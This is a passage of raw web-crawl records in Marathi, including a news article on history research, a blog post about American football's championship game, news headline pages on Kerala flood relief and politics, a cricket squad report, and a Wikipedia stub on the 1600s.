वेगळी माहिती पुढे आलेली असते. इतिहासाचे पुनर्लेखन योग्य असले, तरी इतिहास संशोधनाच्या पद्धती या अचूक असण्याची गरज आहे.\nइतिहासाच्या अभ्यासक्रमाबाबत जे वाद सुरू आहेत, त्यावर विचारले असता ते म्हणाले, की इतिहासाचा अभ्यासक्रम ठरवण्याशी आमचा संबंध नसतो व ते आमचे कामही नाही. विद्वानांना संशोधनासाठी प्रवृत्त करणे हा आमच्या संस्थेचा मूळ हेतू आहे. जामखेडकर हे पुण्यातील डेक्कन कॉलेजचे कुलगुरू होते, ते इतिहासकार, भारतविद्यातज्ज्ञ तसेच पुरातत्त्वसंशोधक आहेत.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\n१२ लाखात अनुभवा रेल्वे प्रवासाचा राजेशाही थाट\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00362.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/02/blog-post.html", "date_download": "2018-09-25T17:47:17Z", "digest": "sha1:XWLDDBP2EAYTSTIE3LMI75K2BBLZZZA7", "length": 7270, "nlines": 59, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: (अमेरिकन) फूटबॉल", "raw_content": "\nआज इकडे मोठा धमाकेदार दिवस होता अमेरिकेतील सर्वात लोकप्रिय खेळ म्हणजे फुटबॉल अमेरिकेतील सर्वात लोकप्रिय खेळ म्हणजे फुटबॉल अमेरिकेत प्रत्येक मोठ्या शहरात फुटबॉल खेळणारी १ मुख्य टीम असते अमेरिकेत प्रत्येक मोठ्या शहरात फुटबॉल खेळणारी १ मुख्य टीम असते (कधी कधी जास्त ही असतात (कधी कधी जास्त ही असतात) अश्या सर्व टीम्स चा हां यांचा विश्वकरंडकच जणू) अश्या सर्व टीम्स चा हां यांचा विश्वकरंडकच जणू यावर्षी फिनिक्स आणि पिट्सबर्ग या दोन शहरातील टीम्स मध्ये अन्तिम सामना रंगला\nइथल्या कुठल्याही नव्या भारतीय माणसाला हां खेळ ही अगदी विचित्र वाटेल या खेळामध्ये आणि भारतात आपण ज्याला फुटबॉल म्हणतो त्यात काहीच साधर्म्य नाही या खेळामध्ये आणि भारतात आपण ज्याला फुटबॉल म्हणतो त्यात काहीच साधर्म्य नाही पहिली गम्मत म्हणजे यात पायाने बॉल मारत नाहीत पहिली गम्मत म्हणजे यात पायाने बॉल मारत नाहीत दुसरे असे की या खेळाचा चेंडू गोल आकाराचा नाही दुसरे असे की या खेळाचा चेंडू गोल आकाराचा नाही फुटबॉल चे वरचे टोक आणि खालचे टोक खेचले तर फुटबॉल जसा दिसेल साधारण तसा हां चेंडू असतो फुटबॉल चे वरचे टोक आणि खालचे टोक खेचले तर फुटबॉल जसा दिसेल साधारण तसा हां चेंडू असतो उद्देश हां की त्यामुळे चेंडू हवेतुनच फेकता यावा उद्देश हां की त्यामुळे चेंडू हवेतुनच फेकता यावा अश्या आकाराचा चेंडू जमिनीवर पडल्यावर वाटेल तसा उसळतो अणि तिसरी गम्मत अशी की हां खेळ थाम्बुन थाम्बुन खेळला जातो अश्या आकाराचा चेंडू जमिनीवर पडल्यावर वाटेल तसा उसळतो अणि तिसरी गम्मत अशी की हां खेळ थाम्बुन थाम्बुन खेळला जातो एक वेळी एक टीम कड़े चेंडू असतो एक वेळी एक टीम कड़े चेंडू असतो त्यांना ४ चान्स मध्ये तो चेंडू घेउन ४० यार्ड पुढे जायचे असते त्यांना ४ चान्स मध्ये तो चेंडू घेउन ४० यार्ड पुढे जायचे असते फक्त एकच अड़चण असते की दुसऱ्या टीम चे अगदी रानदांडगे खेलाडू तुम्हाला वाटेल तसे आडवे पाडू शकतात फक्त एकच अड़चण असते की दुसऱ्या टीम चे अगदी रानदांडगे खेलाडू तुम्हाला वाटेल तसे आडवे पाडू शकतात बॉल घेउन पळणार्या माणसाला जमिनीवर लोळवले की तुमचा एक चान्स संपला बॉल घेउन पळणार्या माणसाला जमिनीवर लोळवले की तुमचा एक चान्स संपला आणि असे करीत तुम्ही जर दुसर्या टीम च्या सीमारेशेपलिकडे गेलात तर दुसर्या टीम वर ६ गुण चढतात आणि अजून एक किक मारून जर बॉल तुम्ही २ पोल्स च्या मधून घालवला तर अजून एक गुण\nएकंदरीतच अमेरिकन माणसाला हातांचे जबरदस्त आकर्षण आहे फुटबॉल, बास्केट्बोल, किंवा अगदी बेसबॉल हे सगळे खेळ इथे हातांनी खेळायचेच आहेत\nअसो तर ...आज हां असा फायनल चा दिवस होता दरवर्षी या दिवशी जाहिरातिंची आतिशबाजी असते दरवर्षी या दिवशी जाहिरातिंची आतिशबाजी असते या दिवशी तिकिटे १००० डॉलर्स च्या पुढेच असतात या दिवशी तिकिटे १००० डॉलर्स च्या पुढेच असतात मोठ मोठ्या कंपन्या त्यांच्या अतीशय रंजक आणि महत्वाच्या जाहिराती लक्षावधि डॉलर्स मोजुन याच दिवशी टीव्ही वर सादर करतात मोठ मोठ्या कंपन्या त्यांच्या अतीशय रंजक आणि महत्वाच्या जाहिराती लक्षावधि डॉलर्स मोजुन याच दिवशी टीव्ही वर सादर करतात या वर्षी मंदी मुळे पैशाचा भपका इतका नव्हता या वर्षी मंदी मुळे पैशाचा भपका इतका नव्हता गर्दी नेहेमी पेक्षा कमी होती गर्दी नेहेमी पेक्षा कमी होती .... परन्तु तरीही अतीशय रंगतदार खेळ झाला\nएरिजोना ची टीम म्हणजे अगदीच नशीबवान म्हणुन इथपर्यंत आली असे सर्वांचे आधी मत होते परन्तु अरिजोना ने दाखवून दिले की ते किती चांगले खेळाडु आहेत परन्तु अरिजोना ने दाखवून दिले की ते किती चांगले खेळाडु आहेत अगदी शेवटच्या मिनिटापर्यंत पारडे वर खाली होत होते अगदी शेवटच्या मिनिटापर्यंत पारडे वर खाली होत होते परन्तु अखेरिस पीट्सबर्ग २७-२३ ने जिंकले\n This guy is a rockstar president. तो काय करतो आणि काय नाही करत सगळ्या जगाला त्याचे कौतुक काल सकाळी मी आईला फ़ोन केला तर ती पण मला म्हणते की ओबामा ची बातमी लागली की लगेच कान टवकारते काल सकाळी मी आईला फ़ोन केला तर ती पण मला म्हणते की ओबामा ची बातमी लागली की लगेच कान टवकारते आहे की नाही मजा आहे की नाही मजा ९००० मैल दूर असलेया ६५ वर्षांच्या बाईला ओबामा काय म्हणतोय याचे नवल\nउद्या नक्की ओबामावरच लिहिन\nओबामा - ३७ दिवसांचा आढावा\nपाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00363.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.maayboli.com/node/1839", "date_download": "2018-09-25T17:11:16Z", "digest": "sha1:AYBOGLIDQDEYBAB3OW4MMJSRB5ZTAFCM", "length": 4650, "nlines": 100, "source_domain": "www.maayboli.com", "title": "मायबोली - लेखमालिका | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /मायबोली - लेखमालिका\nमायबोली - गुलमोहर मध्ये मायबोलीकरानी लिहिलेल्या कथा/कादंबरी/लेख मालिका.\nउदंड देशाटन करावे ... लडाख\nखग ही जाने खग की भाषा\nपुणे ते कन्याकुमारी सायकल प्रवास\nबिच्चारा कॅन्सर.... माझी विजय गाथा\nमाझा पहिला परदेश प्रवास\nमाझे ड्रायव्हिंग व्हेकेशन - लेह लडाख\nशेरलॉक होम्स साहसकथा अनुवाद\nश्रीनिवास पेंढारकर - एक बाप\nहवाई बेटांवरच्या सुरस गोष्टी\nहाफ राईस दाल मारके\n२०३ डिस्को, बुधवार पेठ, पुणे २\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00363.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "https://lokmat.news18.com/video/jyotiraditya-scindia-on-3-years-of-modi-government-260749.html", "date_download": "2018-09-25T16:50:17Z", "digest": "sha1:OFQEYQU7AWRGPO66LVXT5Z6LLQMJL6CY", "length": 10497, "nlines": 122, "source_domain": "lokmat.news18.com", "title": "'मोदींच्या रॅलींसाठी पैसा कुठून येतो?'", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'मोदींच्या रॅलींसाठी पैसा कुठून येतो\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nVIDEO : भिवंडीत गणेश मंडळाच्या कार्यकर्त्यांची तरुणाला घरात घुसून बेदम मारहाण\nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00364.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://mahasports.co.in/gayle-samuels-return-to-windies-squad-for-england-odis/", "date_download": "2018-09-25T17:22:42Z", "digest": "sha1:BMGBVVJSZDTKD56OKYPV6PS347CCLRC3", "length": 6243, "nlines": 60, "source_domain": "mahasports.co.in", "title": "ख्रिस गेलला विंडीजच्या एकदिवसीय संघात संधी -", "raw_content": "\nख्रिस गेलला विंडीजच्या एकदिवसीय संघात संधी\nख्रिस गेलला विंडीजच्या एकदिवसीय संघात संधी\nस्फोटक फलंदाज ख्रिस गेल आणि मार्लन सॅम्युएल यांना १५ सदस्यीय विंडीजच्या संघात स्थान देण्यात आले आहे. हा संघ इंग्लंड विरुद्ध ५ एकदिवसीय सामने खेळणार आहे.\n२१ मार्च २०१५ अर्थात तब्बल २ वर्षांपूर्वी गेल विंडीजकडून आंतरराष्ट्रीय एकदिवसीय सामना खेळला आहे. मार्लन सॅम्युएलही ऑक्टोबर २०१६ मध्ये शेवटचा एकदिवसीय सामना विंडीजकडून खेळले आहेत.\nजर गेल या मालिकेत कोणताही सामना खेळला तर विंडीजकडून सर्वाधिक काळ एकदिवसीय क्रिकेट खेळण्याचा विक्रम गेलच्या नावावर होणार आहे.\nइंग्लंड दौऱ्यासाठी विंडीजचा संघ:\nसुनील अम्बरीस, देवेंद्र बिशू, मिन्गुइल कमिन्स, ख्रिस गेल, जेसन होल्डर(कर्णधार), कायले होप, शाई होप, अलझाररी जोसेफ, एवीन लेविस, जेसन मोहम्मद(उपकर्णधार), ऍशली नर्स, रोवमान पॉवेल, मार्लन सॅम्युअल्स, जेरॉम टेलर, केसरीक विल्यम्स\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00364.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%87.%E0%A4%B8.%E0%A4%9A%E0%A5%87_%E0%A5%A7%E0%A5%AC%E0%A5%A6%E0%A5%A6_%E0%A4%9A%E0%A5%87_%E0%A4%A6%E0%A4%B6%E0%A4%95", "date_download": "2018-09-25T17:45:58Z", "digest": "sha1:EPML26IPPAUZGF6HCOIGQLUW6X7UWXBL", "length": 4738, "nlines": 151, "source_domain": "mr.wikipedia.org", "title": "इ.स.चे १६०० चे दशक - विकिपीडिया", "raw_content": "इ.स.चे १६०० चे दशक\nसहस्रके: इ.स.चे २ रे सहस्रक\nशतके: १६ वे शतक - १७ वे शतक - १८ वे शतक\nदशके: १५७० चे १५८० चे १५९० चे १६०० चे १६१० चे १६२० चे १६३० चे\nवर्षे: १६०० १६०१ १६०२ १६०३ १६०४\n१६०५ १६०६ १६०७ १६०८ १६०९\nवर्ग: जन्म - मृत्यू - शोध\nस्थापत्य - निर्मिती - समाप्ती\nइ.स.चे १६०० चे दशक\nइ.स.च्या १७ व्या शतकातील दशके\nइ.स.च्या २ र्‍या सहस्रकातील दशके\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ६ एप्रिल २०१३ रोजी १०:०५ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00364.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "https://www.nagpurtoday.in/kerala-flood-relief-81doctors-maharashtra-leave-help/08201128", "date_download": "2018-09-25T16:51:04Z", "digest": "sha1:ARLQ5LODIHIL24XV6DZSZML2HCGHPCBH", "length": 9603, "nlines": 77, "source_domain": "www.nagpurtoday.in", "title": "केरळच्या मदतीसाठी महाराष्ट्राची धाव, 81 डॉक्टरांची टीम रवाना - Nagpur Today : Nagpur News केरळच्या मदतीसाठी महाराष्ट्राची धाव, 81 डॉक्टरांची टीम रवाना – Nagpur Today : Nagpur News", "raw_content": "\nकेरळच्या मदतीसाठी महाराष्ट्राची धाव, 81 डॉक्टरांची टीम रवाना\nमुंबई : गेल्या काही दिवसांपासून नैसर्गिक आपत्तीमुळे संकटात सापडलेल्या केरळच्या मदतीसाठी महाराष्ट्रातून मदतीचा ओघ सुरू आहे. मुंबईतील जेजे हॉस्पिटलचे 55 तर पुण्यातील ससून हॉस्पिटलचे 26 डॉक्टर्स अशी एकूण 81 डॉक्टरांची टीम आज एअर इंडियाच्या विमानाने केरळला रवाना झाली आहे.\nकेरळमध्ये मुसळधार पावसाने आणि पुराने येथील जनजीवन विस्कळीत झाले आहे. केरळमध्ये आतापर्यंत 357 जणांचा मृत्यू झाला असून सुमारे 21 हजार कोटींहून अधिक किमतीच्या मालमत्तेचे नुकसान झाले आहे. सरकारी बचाव शिबिरात 20 लाख नागरिकांनी आश्रय घेतला असून पुराचे पाणी कमी झाल्यावर आता केरळमध्ये साथींच्या आजारांचा प्रसार होण्याची भीती वाढली आहे.\nत्यामुळे देशाच्या विविध राज्यांतून डॉक्टर्सच्या टीम केरळला रवाना होत आहेत. सोमवारी सकाळी वैद्यकीय शिक्षणमंत्री गिरीश महाजन यांच्यासह मुंबईतील जेजे हॉस्पिटलचे 55 आणि पुण्यातील ससून हॉस्पिटलचे 26 डॉक्टर्स अशी एकूण 81 डॉक्टर्सची टीम एअर इंडियाच्या विमानाने केरळला रवाना झाली आहे.\nदरम्यान, महाराष्ट्रातून रविवारी भारतीय वायुदलाच्या विमानाने राज्य शासनाकडून 30 टन साधनसामग्री पाठविण्यात आली आहे. पुन्हा आज पाच टन साहित्य रवाना करण्यात येणार आहे. तसेच, विविध स्वयंसेवी संस्थांच्या माध्यमातून अन्न पाकिटे, दूध पावडर, ब्लँकेट्स, बेडशीट, कपडे, साबण, सॅनिटरी नॅपकिन्स आदी साहित्य पाठविण्यात येत आहे.\nमुख्यमंत्री देवेंद्र फडणवीस यांनी राज्य सरकारकडून 20 कोटी रुपयांच्या मदतीची घोषणा आधीच केली आहे. याचबरोबर, केरळ पूरग्रस्तांच्या मदतकायार्साठी एक नियंत्रण कक्ष मंत्रालयात कार्यान्वित करण्यात आला आहे.\nराज्य सरकारसोबत एमसीएचआय-क्रेडाई, राजस्थानी वेल्फेअर असोसिएशन, जितो इंटरनॅशनल, रिलायन्स रिटेल यासारख्या विविध संस्था, संघटना या कामात करत आहेत. बृहन्मुंबई महापालिका, मुंबई आणि मुंबई उपनगर जिल्हाधिकारी कार्यालय, राजशिष्टाचार आदी विभागही या मदत कार्यात गुंतलेले आहेत.\nकेरळ भवनात 200 टन साहित्य\nनवी मुंबईतल्या केरळ भवनमध्येही सुमारे 200 टन साहित्य जमा झाले आहे. त्यापैकी सुमारे दीडशे टन साहित्य नेव्ही व कोस्टगार्डच्या बोटीतून, तसेच रोरोमार्फत पाठविण्यात आले आहे. तसेच सौदी येथून केरळला निघालेल्या 20 व्यक्ती कोची विमानतळ बंद असल्याने शनिवारी मुंबई विमानतळावर उतरल्या होते. त्यांनी भवनमध्ये आश्रय घेतला आहे.\nबॉलीवुड के बाद अब टीवी पर धमाल मचाएगी यह खूबसूरत एक्ट्रेस,\n अजय देवगन ने ट्विटर पर शेयर कर दिया काजोल का Whatsapp नंबर\nसंस्कार शाश्वत, मानव परिवर्तशील : केंद्रीय मंत्री नितीन गडकरी\nमेट्रोची गती ताशी ९० किमी वेगापर्यंत वाढण्यासाठी प्रयत्न सुरु\n28 सितंबर को देश भर के दवा विक्रेता हड़ताल पर\nमनपा पस्त,जनता त्रस्त ऑटोचालक मस्त\nनगरसेविका रुपाली ठाकुर के देवर ने की मनपा स्वास्थ्य कर्मी से मारपीट\nहंगामें के बीच बहुमत के आधार पर सारे विषय मंजूर\nसंस्कार शाश्वत, मानव परिवर्तशील : केंद्रीय मंत्री नितीन गडकरी\nमेट्रोची गती ताशी ९० किमी वेगापर्यंत वाढण्यासाठी प्रयत्न सुरु\nबुधवारी वीज पुरवठा बंद राहणार\nपणन महासंघाला माहिती तंत्रज्ञानाद्वारे अधिक सक्षम करणे गरजेचे – पणनमंत्री सुभाष देशमुख\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00364.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/deepika-padukone-wrote-poem-when-she-was-in-7th-class-282882.html", "date_download": "2018-09-25T16:50:22Z", "digest": "sha1:53HCURQ4PKUHXZDHV7L5SHQSDTWK65PI", "length": 12662, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "सातवीत असताना दीपिकाने लिहिली होती 'ही' पहिली कविता", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nसातवीत असताना दीपिकाने लिहिली होती 'ही' पहिली कविता\n'आय अॅम अ चाइल्ड विथ लव अँन्ड केअर' असं दीपिकाच्या या कवितेचं नाव आहे.\n22 फेब्रुवारी : आपल्या सगळ्यांच्या लाडक्या दीपिकाच्या अभिनयाचे तर 